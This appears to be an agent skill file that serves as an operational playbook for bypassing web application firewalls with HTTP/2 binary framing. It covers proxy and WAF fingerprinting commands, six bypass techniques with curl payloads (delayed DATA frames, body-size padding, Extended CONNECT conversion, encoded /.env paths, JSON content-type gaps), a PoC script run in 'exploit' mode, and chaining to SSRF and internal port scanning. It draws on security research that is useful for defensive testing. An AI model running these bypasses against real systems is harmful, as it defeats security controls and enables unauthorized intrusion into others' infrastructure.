h2-waf-bypass · git:20260605.8973360 · 2026-06-05 · sha256 f3fa5788b5e9b0bf
h2-waf-bypass git:20260605.8973360A
Immutable. This exact content is served forever at /api/v1/blob/f3fa5788b5e9b0bf.
---
name: h2-waf-bypass
description: Bypass WAF body/path inspection via HTTP/2 binary framing — delayed DATA frames blind out-of-process WAFs, body size truncation evades ext_authz limits, Extended CONNECT converts methods past ACLs. Includes black-box proxy+WAF fingerprinting. Use when WAF blocks payloads over HTTP/1.1 but target supports HTTP/2, or when standard 403-bypass and parser-differential techniques fail.
---
# H2 WAF Bypass via Binary Framing
HTTP/2 splits requests into binary frames: method/path arrive in HEADERS frames, body arrives in DATA frames. Out-of-process WAFs (SPOA, ext_authz, ForwardAuth) evaluate at HEADERS time. If DATA arrives later, the body is invisible to the WAF but reaches the backend.
In-process WAFs (libmodsecurity3 in nginx) buffer the full request before evaluation. These are NOT vulnerable to frame timing attacks.
## When to Use
- WAF blocks your payload over HTTP/1.1 (403 on body content, path, or method)
- Target accepts HTTP/2 (check ALPN or force H2 connection preface)
- Standard `403-bypass` path/header tricks exhausted
- `parser-differential-bypass` content-type tricks exhausted
- `h2c-websocket-smuggling` upgrade path not available
## Phase 1: Proxy + WAF Fingerprinting
Identify the proxy and WAF architecture before choosing an attack. Run the bundled PoC (`scripts/h2_waf_bypass.py`) or manually fingerprint.
### Signal 1: Response Headers
```bash
curl -sk -D- https://TARGET/ -o /dev/null 2>&1 | grep -iE "^(server|via|alt-svc|x-envoy)"
```
| Header | Proxy |
|--------|-------|
| `server: envoy` or `x-envoy-*` | Envoy |
| `via: 1.0 Caddy` or `via: 2.0 Caddy` | Caddy |
| `server: nginx` | nginx |
| `server: Apache` | Apache |
| `alt-svc: h3=` (no other proxy signals) | Caddy (medium confidence) |
### Signal 2: Error Pages
```bash
curl -sk https://TARGET/nonexistent-fptest-xyz | head -5
```
- `<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">` = Apache
- `Request forbidden by administrative rules` = HAProxy
- Custom JSON error with `ext_authz` reference = Envoy
### Signal 3: TLS Certificate CN
```bash
curl -skv https://TARGET/ 2>&1 | grep "subject:"
```
- `CN=TRAEFIK DEFAULT CERT` = Traefik (default config only)
### Signal 4: ALPN + Forced H2 (HAProxy Signature)
```bash
curl -sk --http2 -D- https://TARGET/ -o /dev/null 2>&1 | grep -i "HTTP/2"
```
HAProxy accepts HTTP/2 even when configured `alpn http/1.1`. The H2 multiplexer activates on the connection preface regardless of ALPN negotiation. If ALPN negotiates `http/1.1` but H2 works anyway, it is HAProxy. No other tested proxy exhibits this behavior.
### Signal 5: WAF Architecture
```bash
# Test path-based WAF
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env
# Test body-based WAF (form-urlencoded)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
-d '{"jsonrpc":"2.0"}' \
-H "Content-Type: application/x-www-form-urlencoded" https://TARGET/
# Test body-based WAF (JSON) — if form blocked but JSON passes, content-type gap exists
curl -sk -o /dev/null -w "%{http_code}" -X POST \
-d '{"jsonrpc":"2.0"}' \
-H "Content-Type: application/json" https://TARGET/
```
| Path 403 | Body (form) 403 | Body (JSON) 403 | WAF Type |
|----------|-----------------|-----------------|----------|
| Yes | Yes | Yes | In-process (modsecurity/libmodsecurity3) |
| Yes | Yes | No | In-process with JSON gap (mod_security2, Coraza) |
| No | Yes | Yes | Out-of-process, body-only (ext_authz) |
| Yes | No | No | Out-of-process, path-only (ForwardAuth) |
| No | No | No | No WAF or WAF not triggered |
### Fingerprint → Attack Router
```
Proxy identified + WAF type determined
├── HAProxy + out-of-process (Coraza SPOA)
│ ├── Attack 1: H2 Body Timing (delayed DATA frame)
│ ├── Attack 2: Body Size Truncation
│ └── Attack 3: Extended CONNECT method conversion
├── Envoy + ext_authz
│ ├── Attack 2: Body Size Truncation (64KB boundary)
│ └── Check: Missing path inspection (no path rules = direct access)
├── Traefik + ForwardAuth
│ ├── Attack 4: ForwardAuth body stripping (body never forwarded)
│ └── Attack 5: Path normalization bypass
├── Apache + mod_security2
│ └── Attack 6: JSON content-type gap
├── Caddy + Coraza
│ ├── Attack 5: Path normalization bypass
│ └── Attack 6: JSON content-type gap
└── nginx + libmodsecurity3
└── No known H2 frame-level bypasses (buffers full request)
```
## Phase 2: Exploitation
### Attack 1: H2 Body Timing (Delayed DATA Frame)
**Target:** Out-of-process WAFs (HAProxy+SPOA, Envoy+ext_authz)
```
T+0ms: HEADERS frame → WAF check fires (body empty) → verdict: ALLOW
T+500ms: DATA frame → forwarded to backend (WAF already decided)
```
**Key sequence:**
1. Send HEADERS (`:method POST`, `:path /`, `content-type: application/x-www-form-urlencoded`) with `END_HEADERS` but NOT `END_STREAM`
2. `time.sleep(0.5)` — WAF fires here on out-of-process architectures
3. Send DATA frame with malicious body + `END_STREAM`
**Verdict:** H1 POST returns 403 but H2 split delivery returns 200 → WAF body blind spot confirmed.
**Automated:** `python3 scripts/h2_waf_bypass.py TARGET 443 all`
### Attack 2: Body Size Truncation
**Target:** Envoy ext_authz with `max_request_bytes` (default 64KB) + `allow_partial_message: true`
ext_authz only forwards the first N bytes to the auth service. Payload after that boundary is invisible to the WAF.
**Test:**
1. Baseline: small body with blocked payload → expect 403
2. Attack: 64KB padding (`b'A' * 65536`) + same payload → if 200, WAF only saw padding
3. If 64KB fails, try larger padding — limit is config-dependent
### Attack 3: Extended CONNECT Method Conversion
**Target:** HAProxy (RFC 8441 Extended CONNECT)
**Mechanism:** H2 CONNECT with `:protocol=websocket` pseudo-header converts to HTTP/1.1 `GET` + `Upgrade: websocket` during H2-to-H1 translation. Method ACLs blocking CONNECT never fire because the backend sees GET.
**H2 pseudo-headers sent:**
```
:method = CONNECT
:protocol = websocket
:path = /
:scheme = https
:authority = target.com
```
**Backend receives (H1):**
```http
GET / HTTP/1.1
Host: target.com
Upgrade: websocket
```
Method ACLs that block `CONNECT` or restrict methods to `GET/POST` see a `GET` request after translation.
### Attack 4: ForwardAuth Body Stripping
**Target:** Traefik v3 + ForwardAuth middleware
ForwardAuth forwards only headers — body is never sent to the auth service. Works over H1 and H2.
```bash
curl -sk -X POST -d '{"jsonrpc":"2.0"}' -H "Content-Type: application/json" https://TARGET/
curl -sk -X POST -d 'cmd=exec&target=internal' -H "Content-Type: application/json" https://TARGET/
```
### Attack 5: Path Normalization Bypass
**Target:** Traefik+ForwardAuth, Caddy+Coraza
**Mechanism:** WAF matches literal path strings (`/.env`). Proxy decodes URL-encoded paths before forwarding to backend. Encoded variants bypass string matching.
```bash
# Baseline (blocked)
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.env
# Bypass variants
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2eenv
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.%65nv
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/.e%6ev
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/%2e%65%6e%76
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/static/..%2f.env
curl -sk -o /dev/null -w "%{http_code}" https://TARGET/..%252f.env
```
If baseline returns 403 but any variant returns 200, path normalization bypass confirmed.
### Attack 6: JSON Content-Type Gap
**Target:** Apache+mod_security2, Caddy+Coraza
ModSecurity `REQUEST_BODY` variable only parses `application/x-www-form-urlencoded`. Same payload as `application/json` bypasses body-phase rules.
```bash
# Blocked (form-urlencoded)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
-d 'cmd=exec&target=internal' \
-H "Content-Type: application/x-www-form-urlencoded" https://TARGET/
# Bypass (JSON)
curl -sk -o /dev/null -w "%{http_code}" -X POST \
-d '{"cmd":"exec","target":"internal"}' \
-H "Content-Type: application/json" https://TARGET/
```
## Bypass Scorecard
| Proxy | WAF | Body Timing | Body Size | Ext CONNECT | Path Norm | JSON Gap | ForwardAuth |
|-------|-----|:-----------:|:---------:|:-----------:|:---------:|:--------:|:-----------:|
| HAProxy 2.9 | Coraza SPOA | VULN | VULN | VULN | - | - | - |
| Envoy 1.32 | ext_authz | - | VULN | - | - | - | - |
| Traefik v3 | ForwardAuth | - | - | - | VULN | - | VULN |
| Apache | mod_security2 | - | - | - | - | VULN | - |
| Caddy | Coraza | - | - | - | VULN | VULN | - |
| **nginx** | **libmodsecurity3** | **-** | **-** | **-** | **-** | **-** | **-** |
nginx + libmodsecurity3 is the only tested configuration with zero bypasses.
## PoC Tool
Bundled at `scripts/h2_waf_bypass.py`. Zero dependencies — raw H2 frames from stdlib.
```bash
python3 scripts/h2_waf_bypass.py TARGET 443 # full pipeline
python3 scripts/h2_waf_bypass.py TARGET 443 fingerprint # fingerprint only
python3 scripts/h2_waf_bypass.py TARGET 443 exploit # exploit only
```
Proxy through Caido: modify `tls_connect()` or set `HTTPS_PROXY=http://localhost:8080`.
## Chain With
- **403-bypass** — exhaust HTTP/1.1 path/header tricks first, then escalate to H2 framing
- **h2c-websocket-smuggling** — if proxy forwards Upgrade headers, H2C may bypass ACLs entirely
- **h2-connect-internal-scan** — H2 CONNECT for internal port scanning after WAF bypass
- **parser-differential-bypass** — content-type and encoding differentials complement H2 attacks
- **blind-ssrf-chains** — once WAF is bypassed, escalate SSRF to proven impact
- **content-type-mime-diff** — overlaps with Attack 6 (JSON gap), deeper MIME differential coverage
## Rules
- **Fingerprint before attacking.** The proxy+WAF combination determines which attacks apply. Spraying all 6 against nginx wastes time.
- **H1 baseline first.** Always establish what the WAF blocks over HTTP/1.1 before testing H2 bypasses. The bypass is the delta.
- **nginx is hardened.** libmodsecurity3 buffers full requests. Do not waste cycles on H2 timing attacks against nginx.
- **ForwardAuth is body-blind by design.** This is not a bug in Traefik — it is how ForwardAuth works. Body inspection requires a different middleware architecture.
- **Body size truncation is config-dependent.** The 64KB default in ext_authz is common but not universal. Test with incrementally larger padding if 64KB fails.
- **Proxy through Caido.** All exploitation requests must go through `curl -x http://localhost:8080 -k` for evidence capture.
## Reference
- [CTBB Lab: WAF Bypasses via HTTP/2 Framing](https://lab.ctbb.show/research/h2-WAF-Bypasses) (Diyan Apostolov, June 2026)
- [Unified PoC Gist](https://gist.github.com/apostolovd/42a91d54ee27c50b46b15166d610b19a)
- [RFC 8441: Extended CONNECT](https://datatracker.ietf.org/doc/html/rfc8441)
- [RFC 9113: HTTP/2](https://datatracker.ietf.org/doc/html/rfc9113)